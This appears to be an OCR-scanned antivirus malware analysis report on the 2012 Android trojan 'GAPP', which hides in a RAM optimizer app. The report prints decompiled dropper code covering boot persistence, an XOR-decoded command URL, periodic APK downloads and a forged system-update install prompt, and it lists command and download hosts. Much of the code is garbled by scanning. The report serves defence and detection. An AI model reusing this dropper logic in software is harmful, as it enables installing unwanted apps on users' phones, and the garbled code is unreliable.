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Analysis Report on Android Trojan GAPP

Sample Signature

Basic Information

Virus Name: Trojan/Android.gapp.a[rmt]

Type: Trojan

Sample MD5: FC4104C17C9DC33C9FDA3CES52EDA2AFE
Sample CRC32: 7D0AAS8F1

Sample Length: 71743 bytes

Found time: Feb. 8, 2012

Signature Description

The sample tampers the RAM optimization manager of applications. After the first
execution, it will access http:\\www.00android.com to get the URL list that can be used
to download other programs. It will download aapk file at regular intervals and then
forgea”system update” to cheat users to install the downloaded program. It will also
access http:\\www.00android.com to update the URL list at regular intervals.

Sample Analysis

Static Analysis

The sample binds itself to seemingly good software and all the malware is in the
package com.google.process.gapp. It is shown as follows:

& com 9 &3 com
¢ &3 smartprojects ¢ 3 google
¢ &8 RAMOptimizaton ¢ &8 process
o (O Balance1Activity ¢ & ospp|
o (O Balance2Activity S A
o O BalanceActivity & GoogleSer
& BootReceiver o O GoogleSe:
o D HaraGamingActiv o 3 even
o & HardaMultitaskingd | o~ £ ool
o (3 MainActivity o £33 updata
o O NexusActvity o &3 vo
- O R ¢ 8 smarprojeciss
o (B SamsungActivity ¢ & RAMOptimization
o O Balance1Activ
o (O BalanceZActv
o (& BalanceActivit
& BootReceiver
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Analysis of AndroidManifest.xml

Sensitive Privileges:

android.permission.RECEIVE_BOOT_COMPLETED allows programs to auto-start.
Malicious Module:

Receiver: com.google.process.gapp.A

Service: com.google.process.gapp.GoogleServicesFrameworkService

Analysis of Receiver com.google.process.gapp.A

The receiver listens to the system startup Intent. When the system starts and the sd
card is detected, it will start the service

com.google.process.gapp.GoogleServicesFrameworkService. The code is as follows:

peblic static void atert(Coatent parsaxCencext)
{
AL (iab)
|
el
intent locellntest = new Istest (persalontest, Goaalelervisealzsaswazilesvise.clans)?
Cosponentliane localCospocentlane » petanlontest.startiecvice (locallntess);
)

)

psblic void ccheceive (Costent parasCostent, Istest paramistess)
{
if ((Tnvironesent.getfnternalStoregeftate() .equale{“noanted®)) s (paramistent.getictisa() .oquale|scdroid. intent sction. BOOT _COMPLETED®)))
start(parenContent):

Analysis of Service
com.google.process.gapp.GoogleServicesFrameworkService

When the service starts, it will start process B, C and D at regular intervals to register a
receiver, which can be used to monitor the screen unlocking and locking Intent. The
code is as follows:
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public void onCreate()
{
super.onCreate();
Cbject locallbject = null:
try
{
FackageManager localPackegeManager = getPackageManager():
String strl = getPackegelame ():
Applicaticainfe lecalipplicaticniafo = locslPackegeManager.getipplicationinfo(scel, 128):
locallbject = localipplicationlinfo;
String atrl = locallbject.metalata.gesString( sime”);
long 11 = System.curreatlimeMilliis():
long 12 = Long.perselong(str2.subatring(d)):
if (11 - 12 > 172800000L)
{
new C(this).atars();
new B(this),.stazt();
new D(this).stars();
fl localll = new J(this):
this.ns =« locall:
Iatentlilter locallatentlPilter = new InteatFilter():
locelintentFilter.addiction("androtd. intent  action, SCREEN OFF°);
lccallntentFilter.addiction("android. intent, action. SCREEN _ON7);
BroadcastReceiver localBroadcastReceiver = uzu.u:l
Intent locallntent = registerReceiver(localSroadcastReceiver, locallintentFilter):

Analysis of Process C (The path is con/google/process/gap/even/C)

Can get the URL string form the u.bin file and then execute the “XOR” operation; a
plain-text URL string will then be formed. The code is as follows:

InputStream lccallnputStream = this.md.getAssets().open("u.bin");
int { = locallnputStream.available():
byte[] arrayCfBytel = new byte([i]:;
byte[] arrayOfByte2 = new byte(i]:
int j = locallnputStream.read(arrayCfBytel);
int k = 0;
while (true)
{
if (k >= 1)
{
sty = new String(arrayOfByte2);
labelS€: return str;
)
int m = (byte) (arrayOfBytel[k] ~ 0x8):;
arrayCfByte2(k] = m;
kK += 1;

The encrypted string in pteu.bin: “*| |x2”  &88iflzgal&kge’Af{|iddIxc’Af{|iddIxc&x x”
The plain-text URL string: http://www.00android.com/InstallApk/InstallApk.php

The obtained URL list contains information such as the app ID, the package name, the
download website and the update notice.

The sample will then store the list in the file soft.db (which is dynamically created after
the program executes). At regular intervals, the sample will read soft.db and get the
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download information of the apk program (including the download website). Then it will
download the apk program and store it in sdcard/download. The code is as follows:

vhile (true)
{
L locall = this.mf:
String strl = this.mh:
List locallist = E.ma(locell.mg(atrl)):
if (lecallist !« null)
{
Iterator locallteratorl = locallist.iterator();
labelé0: labeldd: labelld?:
while (true)
(
while (true)
{
Af (locallteratorl.haa¥ext())
break labeléd;
long 11 = 120000001;
try

Thread. sleap(ll);

)
catch (InterruptedException locallnterruptedfxceptionl)

locallnterruptedExceptionl.printStackTrace():
|
)
break;
Q 1ocall = (Q)locallteratorli.nexc():
int £ = O
Iterator localliterator? = this.nd.getPacksgeManages ().gesinstalled?ackages(0).iterator():
Af ('locallteratorl.haslext()):
while (true)
{
Al (£ = Q)
break label2s37:
i local¥l = this.ng;
String st:2 = localO.mo():
Al {local¥l.mf(stz2))
break:
B locall2 = this.ng:
Stzing stzd = locall.mof):
String stzd = localO.aql):
String steS = localO.mz():
String 2536 = localO.xp():
Tzing stx7 = locelO.zhi():
String stxd = locald.=g():
localN2.ng(scrd, scrd, strS, atzé, str?, aced);
break;
String atrd = ((Packagelnfo)locallteratori.next()).packagelane;
String scrid = locald.aq();
A0 (asrd. index0f{azrll) == -1)
break labeld3:
1el:

Analysis of Process D (The path is com/google/process/gap/even/D)

”D” will forge a system update notice. When users click it, they will install the apk
program in the download directory.
The code is as follows:
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private vold me(CharSequence parsaslharSeguencel, CharSequence pareslharSeguence?, Strisng peresString)
i

icationManager)this.nd,.getSystesService ("notification®™)

Notification (17301513, para=CharSegquencel, 1):

String strl = String.
S::m; 2tz2 = atrl +

Intent lccallntentl
Intent locallatent?
Intent locallntentd =
Fendingintent localPendinginteas
Context localifontext = this.=d;

locallot vion.seclatestiventinfo (localContexs, paranCharSequencel, paraxCharSegquence?, localPendingintent):
locellotificationManager.notify (1234756, localliotificeticn):

“applicatica/vnd.android.packege-acchive”);
yithis.=d, 1234756, locallntentl, 13421

)
= Pendingintent.getic g):

Analysis of Local Behavior

The sample seems like a good RAM optimization manger program. After the first run
and restart, the malicious functionality will be triggered. Users can see a forged system
update notice in the upper left corner, as shown in the following figure.

@
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Analysis of Network Behavior

a. When http://www.00android.com/InstallApk/InstallApk.php is accessed, the result
will be as follows:

SEEANEN feriy

The information of the pcap package is:
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GET /Instal ].ﬁpllcfggﬁta”ﬂpk. php HTTP/1.1

user-agent: balvik/1.1.0 (Linux; u; android 2.1-updatel; generic Build/ECLAIR)

HosT: wew. O0android. com
Accept: =, #f=
comnection: Keep-alive

HTTR/1.1 200 Ox

connection: close

Date: wed, OB Feb 2012 07:46:39 GMT
server: Microsoft-IIs/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.2.9-2
Content-type: text/htal

s a0 SCESOUT CE5>

Analysis Report on Android Trojan GAPP

=
<id>59</1d>
<page=com, kanbox. wp</page>
<path=http:/ /myappinstall. geoglecode. com/files kubox. apk</paths
<namexkubox. apk</nases-
E o 1 [ S < /title
e | e S S S </content>
«/softs>
<zsofrss
ld=13«/1d>
I <page=com. snda. youni</page>
<path=http://apkdsas. googlecode. com/files/youni. apk</path>
<name>youni. apk</name>
Lo [ S <ritlex
oL | e e 0 R 0 LR ) A Y T e e o </ content>
</sofrs>

The soft.db contains information related to the downloaded program. The contents are

as follows:

=% e ve wnl o [aElne
Q0000 Fax s mu ¥u
It o

The sample will then access http://www.00android.com/InstallApk/InstallApk.php to

get information on the URL list.

b. It will then access http://www.00android.com/, and the results are as follows:
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c. We will list some URLs that are used to download apk programs.

http://myappinstall.googlecode.com/files/kubox.apk

http://apk4sam.googlecode.com/files/tuangoudaquan.apk

http://myappinstall.googlecode.com/files/oupeng.apk

http://apk4sam.googlecode.com/files/papayu.apk

It can be seen that they all refer to googlecode.com. The sample can access projects
myappinstall and apk4sam.

http://code.google.com/p/apkd4sam/

The creator uses QQ email: 313371863@¢qqg.com
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It can be seen that the author has a similar project installapk2. The website is
http://code.google.com/p/installapk2/

S Bnnies ¥ | Senn
ﬁ myappinstall
. Tk it
Bmpcitore  Cowsbeat B baw  Sas
Tl Compet i | m] Eemk
11
e 7 Sarmemary @ Lot ¥ Uploaied % Releawlols ¥ Min ¥ OvesieadCown 7
L uadles el [T T FITT ] E]
& padegmigschey s el Jan 13 dm r7um mar
5 mgmng agh aoed dan 17 dom 1P LT R
i e 17 dan 1P iR Lo ]
& mosgherien agk  awd Jam 11 dum 13 17um e
LR =Y e e g FIT g
# b g v D H B 1 thim I
i ol ach = Dnc T8 Dec 18 308 ]
B pelun iy 3 o 39 Dot 39 (L1 ] arma
P itk NS Ny Dax 39 D 1 irum i
i mmk wo [ec 79 ec 78 Lins ]
B | Fhbiplticn g i Dot 39 B 39 (UL ] Pl
LR = = D 39 Dac I8 150 Juhld

113013

As of Feb. 8, 2012, the 42 apk programs of the 3 projects had all been downloaded
processed. We believe 31 of them are good programs.

Detection and Removal Methods

You can install AVL for Android from the Android Market to detect the Gapp Trojan
The website is https://market.android.com/details?id=com.antiy.AVLA.

and
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The QR code is:

You can also use our LBE security guard with embedded AVL engine. It can detect Gapp
and monitor threats to the Android system in real-time. The website for LBE is:
http://www.lbesec.com/

Conclusion

This malware can remotely control users’ systems and defraud users. The attackers
mainly aim for monetary gain. The malware can reside in memory for a long time
without being noticed and can download software and induce users to install. Due to
this, it will cause lots of network traffic and expenses.
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